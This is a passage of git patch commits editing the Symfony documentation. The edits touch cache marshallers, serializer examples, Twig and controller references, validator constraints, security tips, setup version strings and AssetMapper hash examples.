 SodiumMarshaller for Encrypted Caching
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Encrypts cached data with Sodium for added security::
+
+Encrypts cached data using Sodium for enhanced security::
 
     $encryptionKeys = [sodium_crypto_box_keypair()];
     $marshaller = new SodiumMarshaller($encryptionKeys);
@@ -300,7 +304,8 @@ Encrypts cached data with Sodium for added security::
 
 DefaultMarshaller with igbinary Serialization
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Uses igbinary for faster, more efficient serialization when available::
+
+Uses ``igbinary` for faster and more efficient serialization when available::
 
     $marshaller = new DefaultMarshaller(true);
 
@@ -312,7 +317,8 @@ Uses igbinary for faster, more efficient serialization when available::
 
 DefaultMarshaller with Exception on Failure
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Throws an exception if serialization fails, aiding in error handling::
+
+Throws an exception if serialization fails, facilitating error handling::
 
     $marshaller = new DefaultMarshaller(false, true);
 
@@ -323,12 +329,13 @@ Throws an exception if serialization fails, aiding in error handling::
         $item->set('data');
         $cache->save($item);
     } catch (\ValueError $e) {
-        echo 'Serialization failed: ' . $e->getMessage();
+        echo 'Serialization failed: '.$e->getMessage();
     }
 
 SodiumMarshaller with Key Rotation
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-Supports key rotation, allowing secure decryption with both old and new keys::
+
+Supports key rotation, ensuring secure decryption with both old and new keys::
 
     $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
     $marshaller = new SodiumMarshaller($keys);

From 5a43fd2da07b1bdd2b8e048d619da1ccdeb94a6f Mon Sep 17 00:00:00 2001
From: David Harding <daveharding@me.com>
Date: Fri, 13 Dec 2024 12:39:15 +0000
Subject: [PATCH 5228/5766] Update serializer.rst

The $maxDepthHandler function might return NULL, but the return type is set to : string, which causes a TypeError to be thrown.

This change allows the $maxDepthHandler function to return null, by changing the return type to : ?string for this example.
---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 4a4a934ca01..47ea5b66c60 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1789,7 +1789,7 @@ identifier of the next nested object, instead of omitting the property::
     $child = new Person('Joe', $mother);
 
     // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
+    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): ?string {
         // return only the name of the next person in the tree
         return $innerObject instanceof Person ? $innerObject->getName() : null;
     };

From b4d7d4f608ea809e4a35d69cfab1f4f5893f1e0d Mon Sep 17 00:00:00 2001
From: sarah-eit <s.fleret@itefficience.com>
Date: Wed, 11 Dec 2024 11:25:17 +0100
Subject: [PATCH 5229/5766] =?UTF-8?q?[Twig]=20[Twig=20Reference]=20fix=20p?=
 =?UTF-8?q?ath=20parameter=20and=20add=20example=20in=20asset=20v=E2=80=A6?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 reference/twig_reference.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index a34cfe58f0c..21f251dc6de 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -130,8 +130,10 @@ asset_version
 
 .. code-block:: twig
 
-    {{ asset_version(packageName = null) }}
+    {{ asset_version(path, packageName = null) }}
 
+``path``
+    **type**: ``string``
 ``packageName`` *(optional)*
     **type**: ``string`` | ``null`` **default**: ``null``
 

From b0f09c62f9bfbd876ea954b1a302491fb05473e7 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 17 Dec 2024 09:34:01 +0100
Subject: [PATCH 5230/5766] use ? before nullable single type declaration

---
 serializer/custom_name_converter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer/custom_name_converter.rst b/serializer/custom_name_converter.rst
index d0ed45bdc0a..49dafb02cc4 100644
--- a/serializer/custom_name_converter.rst
+++ b/serializer/custom_name_converter.rst
@@ -30,7 +30,7 @@ A custom name converter can handle such cases::
 
     class OrgPrefixNameConverter implements NameConverterInterface
     {
-        public function normalize(string $propertyName, string $class = null, ?string $format = null, array $context = []): string
+        public function normalize(string $propertyName, ?string $class = null, ?string $format = null, array $context = []): string
         {
             // during normalization, add the prefix
             return 'org_'.$propertyName;

From 2fdd0dbfd61d9bd93d679c8febedcddca40d5e3a Mon Sep 17 00:00:00 2001
From: Felix Eymonot <felix.eymonot@gmail.com>
Date: Tue, 17 Dec 2024 12:19:23 +0100
Subject: [PATCH 5231/5766] docs(controller): add docs for key option in
 MapQueryString

---
 controller.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/controller.rst b/controller.rst
index c11615d93aa..5da85057bbe 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,6 +443,27 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
+If you want to map your object to a nested array in your query with a specific key,
+you can use the ``key`` option in your :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
+attribute::
+
+    use App\Model\SearchDto;
+    use Symfony\Component\HttpFoundation\Response;
+    use Symfony\Component\HttpKernel\Attribute\MapQueryString;
+
+    // ...
+
+    public function dashboard(
+        #[MapQueryString(key: 'search')] SearchDto $searchDto
+    ): Response
+    {
+        // ...
+    }
+
+.. versionadded:: 7.3
+
+    The ``key`` option of ``#[MapQueryString]`` was introduced in Symfony 7.3.
+
 If you need a valid DTO even when the request query string is empty, set a
 default value for your controller arguments::
 

From 8aeceab63ce821c69bb182377ad1c3c0b54bf17e Mon Sep 17 00:00:00 2001
From: Christophe Coevoet <stof@notk.org>
Date: Tue, 17 Dec 2024 13:06:15 +0100
Subject: [PATCH 5232/5766] Fix the configuration for custom password strength
 estimator

---
 reference/constraints/PasswordStrength.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/constraints/PasswordStrength.rst b/reference/constraints/PasswordStrength.rst
index 671b5f495ef..60125a763a1 100644
--- a/reference/constraints/PasswordStrength.rst
+++ b/reference/constraints/PasswordStrength.rst
@@ -178,7 +178,7 @@ service to use your own estimator:
                 class: App\Validator\CustomPasswordStrengthEstimator
 
             Symfony\Component\Validator\Constraints\PasswordStrengthValidator:
-                arguments: [!service_closure '@custom_password_strength_estimator']
+                arguments: [!closure '@custom_password_strength_estimator']
 
     .. code-block:: xml
 
@@ -192,7 +192,7 @@ service to use your own estimator:
                 <service id="custom_password_strength_estimator" class="App\Validator\CustomPasswordStrengthEstimator"/>
 
                 <service id="Symfony\Component\Validator\Constraints\PasswordStrengthValidator">
-                    <argument type="service_closure" id="custom_password_strength_estimator"/>
+                    <argument type="closure" id="custom_password_strength_estimator"/>
                 </service>
             </services>
         </container>
@@ -210,5 +210,5 @@ service to use your own estimator:
             $services->set('custom_password_strength_estimator', CustomPasswordStrengthEstimator::class);
 
             $services->set(PasswordStrengthValidator::class)
-                ->args([service_closure('custom_password_strength_estimator')]);
+                ->args([closure('custom_password_strength_estimator')]);
         };

From c196b447547b28048a9f1d5849f6964e982933ad Mon Sep 17 00:00:00 2001
From: Nate Wiebe <nate@northern.co>
Date: Thu, 9 Mar 2023 09:10:30 -0500
Subject: [PATCH 5233/5766] Add tip for using new isGrantedForUser() function

---
 security.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/security.rst b/security.rst
index c8dfc8d6233..5da16121b30 100644
--- a/security.rst
+++ b/security.rst
@@ -2585,6 +2585,18 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
           // ...
       }
 
+.. tip::
+
+    Using ``isGranted()`` checks authorization against the currently logged in user. If you need to check
+    against a user that is not the one logged in or if checking authorization when the user session is not
+    available in a CLI context (example: message queue, cronjob) ``isGrantedForUser()`` can be used to set the
+    target user explicitly.
+
+    .. versionadded:: 7.3
+
+        The :method:`Symfony\\Bundle\\SecurityBundle\\Security::isGrantedForUser`
+        method was introduced in Symfony 7.3.
+
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
 thanks to autowiring and the ``Security`` type-hint.

From b487d45483249fdd41f29a3f8aafe42354ba4c6e Mon Sep 17 00:00:00 2001
From: Rick Ogden <rickogden@users.noreply.github.com>
Date: Tue, 17 Dec 2024 11:08:42 +0000
Subject: [PATCH 5234/5766] Update http_client.rst Test Examples

Reordered assertSame arguments to use the conventional and consistent order to `$this->assertSame($expected, $actual);`.
---
 http_client.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index e7128f1bc66..32ef552c64f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -2233,7 +2233,7 @@ test it in a real application::
             );
             $this->assertSame($expectedRequestData, $mockResponse->getRequestOptions()['body']);
 
-            $this->assertSame($responseData, $expectedResponseData);
+            $this->assertSame($expectedResponseData, $responseData);
         }
     }
 
@@ -2266,7 +2266,7 @@ test. Then, save that information as a ``.har`` file somewhere in your applicati
             $responseData = $service->createArticle($requestData);
 
             // Assert
-            $this->assertSame($responseData, 'the expected response');
+            $this->assertSame('the expected response', $responseData);
         }
     }
 

From b72ecdc5f36290b9c1a6dbfe7f92aca51b0745f8 Mon Sep 17 00:00:00 2001
From: Antoine M <amakdessi@me.com>
Date: Wed, 18 Dec 2024 17:09:48 +0100
Subject: [PATCH 5235/5766] doc(runtime): add frankenphp

---
 components/runtime.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index d357bdb8aea..4eb75de2a75 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -3,7 +3,7 @@ The Runtime Component
 
     The Runtime Component decouples the bootstrapping logic from any global state
     to make sure the application can run with runtimes like `PHP-PM`_, `ReactPHP`_,
-    `Swoole`_, etc. without any changes.
+    `Swoole`_, `FrankenPHP`_ etc. without any changes.
 
 Installation
 ------------
@@ -487,6 +487,7 @@ The end user will now be able to create front controller like::
 
 .. _PHP-PM: https://github.com/php-pm/php-pm
 .. _Swoole: https://openswoole.com/
+.. _FrankenPHP: https://frankenphp.dev/
 .. _ReactPHP: https://reactphp.org/
 .. _`PSR-15`: https://www.php-fig.org/psr/psr-15/
 .. _`runtime template file`: https://github.com/symfony/symfony/blob/{version}/src/Symfony/Component/Runtime/Internal/autoload_runtime.template

From f10c7e9f81e4db9cba84d03027ca7eccf0a9e31f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?L=C3=A9o=20PLANUS?=
 <48881747+leo29plns@users.noreply.github.com>
Date: Thu, 19 Dec 2024 08:06:37 +0100
Subject: [PATCH 5236/5766] Update 7.2.x-dev to 7.2.x

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 1d7081e93b7..853b53f2400 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x-dev" --webapp
+    $ symfony new my_project_directory --version="7.2.x" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x-dev"
+    $ symfony new my_project_directory --version="7.2.x"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x-dev" my_project_directory
+    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 775bab6722a5e7c1f2a58657b5c7ea18f0341259 Mon Sep 17 00:00:00 2001
From: Corentin <47939924+corentingd@users.noreply.github.com>
Date: Thu, 19 Dec 2024 15:31:38 +0100
Subject: [PATCH 5237/5766] Update File.rst

Replace mimeTypes parameters by "extension" and "extensions" in extensionMessage option
---
 reference/constraints/File.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 3930d898c7e..fb9a61b4a29 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -314,7 +314,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-.. include:: /reference/constraints/_parameters-mime-types-message-option.rst.inc
+==================== ==============================================================
+Parameter            Description
+==================== ==============================================================
+``{{ extension }}``  The extension of the given file
+``{{ extensions }}`` The list of allowed file extensions
+==================== ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~

From ccdeed257e1e882374a185b18437933694b94bb7 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 19 Dec 2024 17:47:14 +0100
Subject: [PATCH 5238/5766] Minor tweak

---
 controller.rst | 5 ++---
 1 file changed, 2 insertions(+), 3 deletions(-)

diff --git a/controller.rst b/controller.rst
index 5da85057bbe..026e76ed0a6 100644
--- a/controller.rst
+++ b/controller.rst
@@ -443,9 +443,8 @@ HTTP status to return if the validation fails::
 
 The default status code returned if the validation fails is 404.
 
-If you want to map your object to a nested array in your query with a specific key,
-you can use the ``key`` option in your :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryString`
-attribute::
+If you want to map your object to a nested array in your query using a specific key,
+set the ``key`` option in the ``#[MapQueryString]`` attribute::
 
     use App\Model\SearchDto;
     use Symfony\Component\HttpFoundation\Response;

From f7b5169f405d491eb9fe6939ba8034c374a63598 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 22 Dec 2024 12:09:11 +0100
Subject: [PATCH 5239/5766] Constraints cache with private properties

---
 validation/custom_constraint.rst | 40 ++++++++++++++++++++++++++++++++
 1 file changed, 40 insertions(+)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 9d3fb920d6d..3fd1afbeddc 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -66,6 +66,46 @@ You can use ``#[HasNamedArguments]`` to make some constraint options required::
         }
     }
 
+Constraint with private properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Constraints are cached for efficiency, but private properties are not supported
+by default.
+
+So if you're using private properties in your constraint, you must override default
+``__sleep`` method ::
+
+    // src/Validator/ContainsAlphanumeric.php
+    namespace App\Validator;
+
+    use Symfony\Component\Validator\Attribute\HasNamedArguments;
+    use Symfony\Component\Validator\Constraint;
+
+    #[\Attribute]
+    class ContainsAlphanumeric extends Constraint
+    {
+        public string $message = 'The string "{{ string }}" contains an illegal character: it can only contain letters or numbers.';
+
+        #[HasNamedArguments]
+        public function __construct(
+            private string $mode,
+            ?array $groups = null,
+            mixed $payload = null,
+        ) {
+            parent::__construct([], $groups, $payload);
+        }
+
+        public function __sleep(): array
+        {
+            return array_merge(
+                parent::__sleep(),
+                [
+                    'mode'
+                ]
+            );
+        }
+    }
+
 Creating the Validator itself
 -----------------------------
 

From d99915066523753285953b349f1a9782cc353fd1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Sun, 22 Dec 2024 14:40:09 +0100
Subject: [PATCH 5240/5766] [AssetMapper] Update hash examples

Since 7.2, hash are shorter. This PR updates the various hashes in code examples, to illustrate more precisely what a user will see on its local install / code.
---
 frontend/asset_mapper.rst | 24 ++++++++++++------------
 1 file changed, 12 insertions(+), 12 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index decc7827e0d..95b656f043d 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -12,7 +12,7 @@ The component has two main features:
 * :ref:`Mapping & Versioning Assets <mapping-assets>`: All files inside of ``assets/``
   are made available publicly and **versioned**. You can reference the file
   ``assets/images/product.jpg`` in a Twig template with ``{{ asset('images/product.jpg') }}``.
-  The final URL will include a version hash, like ``/assets/images/product-3c16d9220694c0e56d8648f25e6035e9.jpg``.
+  The final URL will include a version hash, like ``/assets/images/product-3c16d92m.jpg``.
 
 * :ref:`Importmaps <importmaps-javascript>`: A native browser feature that makes it easier
   to use the JavaScript ``import`` statement (e.g. ``import { Modal } from 'bootstrap'``)
@@ -70,7 +70,7 @@ The path - ``images/duck.png`` - is relative to your mapped directory (``assets/
 This is known as the **logical path** to your asset.
 
 If you look at the HTML in your page, the URL will be something
-like: ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``. If you change
+like: ``/assets/images/duck-3c16d92m.png``. If you change
 the file, the version part of the URL will also change automatically.
 
 .. _asset-mapper-compile-assets:
@@ -78,7 +78,7 @@ the file, the version part of the URL will also change automatically.
 Serving Assets in dev vs prod
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-In the ``dev`` environment, the URL ``/assets/images/duck-3c16d9220694c0e56d8648f25e6035e9.png``
+In the ``dev`` environment, the URL ``/assets/images/duck-3c16d92m.png``
 is handled and returned by your Symfony app.
 
 For the ``prod`` environment, before deploy, you should run:
@@ -283,9 +283,9 @@ outputs an `importmap`_:
 
     <script type="importmap">{
         "imports": {
-            "app": "/assets/app-4e986c1a2318dd050b1d47db8d856278.js",
-            "/assets/duck.js": "/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js",
-            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f0935445d9c6022100863214b519a1f2.js"
+            "app": "/assets/app-4e986c1a.js",
+            "/assets/duck.js": "/assets/duck-1b7a64b3.js",
+            "bootstrap": "/assets/vendor/bootstrap/bootstrap.index-f093544d.js"
         }
     }</script>
 
@@ -342,8 +342,8 @@ The ``importmap()`` function also outputs a set of "preloads":
 
 .. code-block:: html
 
-    <link rel="modulepreload" href="/assets/app-4e986c1a2318dd050b1d47db8d856278.js">
-    <link rel="modulepreload" href="/assets/duck-1b7a64b3b3d31219c262cf72521a5267.js">
+    <link rel="modulepreload" href="/assets/app-4e986c1a.js">
+    <link rel="modulepreload" href="/assets/duck-1b7a64b3.js">
 
 This is a performance optimization and you can learn more about below
 in :ref:`Performance: Add Preloading <performance-preloading>`.
@@ -494,9 +494,9 @@ for ``duck.png``:
 
 .. code-block:: css
 
-    /* public/assets/styles/app-3c16d9220694c0e56d8648f25e6035e9.css */
+    /* public/assets/styles/app-3c16d92m.css */
     .quack {
-        background-image: url('../images/duck-3c16d9220694c0e56d8648f25e6035e9.png');
+        background-image: url('../images/duck-3c16d92m.png');
     }
 
 .. _asset-mapper-tailwind:
@@ -573,7 +573,7 @@ Sometimes a JavaScript file you're importing (e.g. ``import './duck.js'``),
 or a CSS/image file you're referencing won't be found, and you'll see a 404
 error in your browser's console. You'll also notice that the 404 URL is missing
 the version hash in the filename (e.g. a 404 to ``/assets/duck.js`` instead of
-a path like ``/assets/duck.1b7a64b3b3d31219c262cf72521a5267.js``).
+a path like ``/assets/duck-1b7a64b3.js``).
 
 This is usually because the path is wrong. If you're referencing the file
 directly in a Twig template:
@@ -848,7 +848,7 @@ be versioned! It will output something like:
 
 .. code-block:: html+twig
 
-    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c55f8394e696554f8aeb81a8e.css">
+    <link rel="stylesheet" href="/assets/bundles/babdevpagerfanta/css/pagerfanta-ea64fc9c.css">
 
 Overriding 3rd-Party Assets
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~

From 7eff479d4b62fb1ff5973ef867b3cc1c6b302470 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 25 Dec 2024 10:50:23 +0100
Subject: [PATCH 5241/5766] remove installation repetition in weblink

---
 web_link.rst | 8 +-------
 1 file changed, 1 insertion(+), 7 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index e5ad7e1159c..44e668c2112 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -55,13 +55,7 @@ make one request for the HTML page and another request for the linked CSS file.
 However, thanks to HTTP/2 your application can start sending the CSS file
 contents even before browsers request them.
 
-To do that, first install the WebLink component:
-
-.. code-block:: terminal
-
-    $ composer require symfony/web-link
-
-Now, update the template to use the ``preload()`` Twig function provided by
+You can update the template to use the ``preload()`` Twig function provided by
 WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
 correct prioritization and the content security policy:
 

From 47e65dfb47d70815d3bbe8e7c809c421b2ad4ec9 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:17:56 +0100
Subject: [PATCH 5242/5766] Update the Symfony version to install in 7.3 branch

---
 setup.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/setup.rst b/setup.rst
index 853b53f2400..b269da2c476 100644
--- a/setup.rst
+++ b/setup.rst
@@ -48,10 +48,10 @@ application:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ symfony new my_project_directory --version="7.2.x" --webapp
+    $ symfony new my_project_directory --version="7.3.x-dev" --webapp
 
     # run this if you are building a microservice, console application or API
-    $ symfony new my_project_directory --version="7.2.x"
+    $ symfony new my_project_directory --version="7.3.x-dev"
 
 The only difference between these two commands is the number of packages
 installed by default. The ``--webapp`` option installs extra packages to give
@@ -63,12 +63,12 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
     $ cd my_project_directory
     $ composer require webapp
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"7.2.x" my_project_directory
+    $ composer create-project symfony/skeleton:"7.3.x-dev" my_project_directory
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_directory/`` directory, download some dependencies

From 301b89e6635829b80b502851c676686399521194 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:24:46 +0100
Subject: [PATCH 5243/5766] Minor tweak

---
 reference/constraints/File.rst | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index fb9a61b4a29..4f8f5beddfc 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -314,12 +314,12 @@ Parameter                       Description
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.
 
-==================== ==============================================================
-Parameter            Description
-==================== ==============================================================
-``{{ extension }}``  The extension of the given file
-``{{ extensions }}`` The list of allowed file extensions
-==================== ==============================================================
+====================  ==============================================================
+Parameter             Description
+====================  ==============================================================
+``{{ extension }}``   The extension of the given file
+``{{ extensions }}``  The list of allowed file extensions
+====================  ==============================================================
 
 ``mimeTypesMessage``
 ~~~~~~~~~~~~~~~~~~~~

From 476bb59ed934f4ae5d83e99ad1513cdfd156bc4c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 26 Dec 2024 11:36:06 +0100
Subject: [PATCH 5244/5766] [WebLink] Minor reword

---
 web_link.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/web_link.rst b/web_link.rst
index 44e668c2112..8602445313f 100644
--- a/web_link.rst
+++ b/web_link.rst
@@ -50,14 +50,14 @@ Imagine that your application includes a web page like this:
     </body>
     </html>
 
-Following the traditional HTTP workflow, when this page is served browsers will
-make one request for the HTML page and another request for the linked CSS file.
-However, thanks to HTTP/2 your application can start sending the CSS file
-contents even before browsers request them.
-
-You can update the template to use the ``preload()`` Twig function provided by
-WebLink. The `"as" attribute`_ is mandatory because browsers need it to apply
-correct prioritization and the content security policy:
+In a traditional HTTP workflow, when this page is loaded, browsers make one
+request for the HTML document and another for the linked CSS file. However,
+with HTTP/2, your application can send the CSS file's contents to the browser
+before it requests them.
+
+To achieve this, update your template to use the ``preload()`` Twig function
+provided by WebLink. Note that the `"as" attribute`_ is required, as browsers use
+it to prioritize resources correctly and comply with the content security policy:
 
 .. code-block:: html+twig
 

From 248d4ff7547e084cd52afea48cc6d9c915857e5e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 30 Dec 2024 08:57:11 +0100
Subject: [PATCH 5245/5766] cannot validate svg image size

---
 reference/constraints/Image.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..2734cf439d7 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -530,5 +530,10 @@ options has been set.
 
 This message has no parameters.
 
+.. note::
+
+    SVG images sizes are not currently supported. Using size constraints with
+    these files will display this message.
+
 .. _`IANA website`: https://www.iana.org/assignments/media-types/media-types.xhtml
 .. _`PHP GD extension`: https://www.php.net/manual/en/book.image.php

From 48f04058daf054506cb1a8214a7ed2bc978bdba9 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Wed, 1 Jan 2025 21:36:10 +0100
Subject: [PATCH 5246/5766] add Oauth client package in doc

---
 security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 42489f6e3fe..ab4f48d6559 100644
--- a/security.rst
+++ b/security.rst
@@ -724,7 +724,7 @@ many other authenticators:
 
     If your application logs users in via a third-party service such as
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
-    community bundle.
+    community bundle or `Oauth2-client`_ package.
 
 .. _security-form-login:
 
@@ -3037,3 +3037,4 @@ Authorization (Denying Access)
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
 .. _`SensitiveParameter PHP attribute`: https://www.php.net/manual/en/class.sensitiveparameter.php
+.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client

From 04790be521b670ddffbee654c55da3bc165dfd55 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 30 Dec 2024 08:38:13 +0100
Subject: [PATCH 5247/5766] [Validator] Validate SVG ratio in Image validator

---
 reference/constraints/Image.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 48dc1d5e0ed..23fbe5a157a 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,10 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowLandscape`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +238,10 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
+.. versionadded:: 7.3
+
+    The ``allowPortrait`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowPortraitMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -260,6 +268,10 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
+.. versionadded:: 7.3
+
+    The ``allowSquare`` option support for SVG files was introduced in Symfony 7.3.
+
 ``allowSquareMessage``
 ~~~~~~~~~~~~~~~~~~~~~~
 
@@ -358,6 +370,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``maxRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``maxRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 
@@ -477,6 +493,10 @@ Parameter             Description
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
+.. versionadded:: 7.3
+
+    The ``minRatio`` option support for SVG files was introduced in Symfony 7.3.
+
 ``minRatioMessage``
 ~~~~~~~~~~~~~~~~~~~
 

From a604558544e641dfc60fb4f3e3d7da8996dfd2eb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 2 Jan 2025 12:25:24 +0100
Subject: [PATCH 5248/5766] Reword

---
 reference/constraints/Image.rst | 30 ++++++++++++++++++++++++++++--
 1 file changed, 28 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index 2734cf439d7..042c6041423 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -210,6 +210,11 @@ add several other options.
 
 If this option is false, the image cannot be landscape oriented.
 
+.. note::
+
+    This option does not apply to SVG files. If you use it with SVG files,
+    you'll see the error message defined in the ``sizeNotDetectedMessage`` option.
+
 ``allowLandscapeMessage``
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -234,6 +239,11 @@ Parameter         Description
 
 If this option is false, the image cannot be portrait oriented.
 
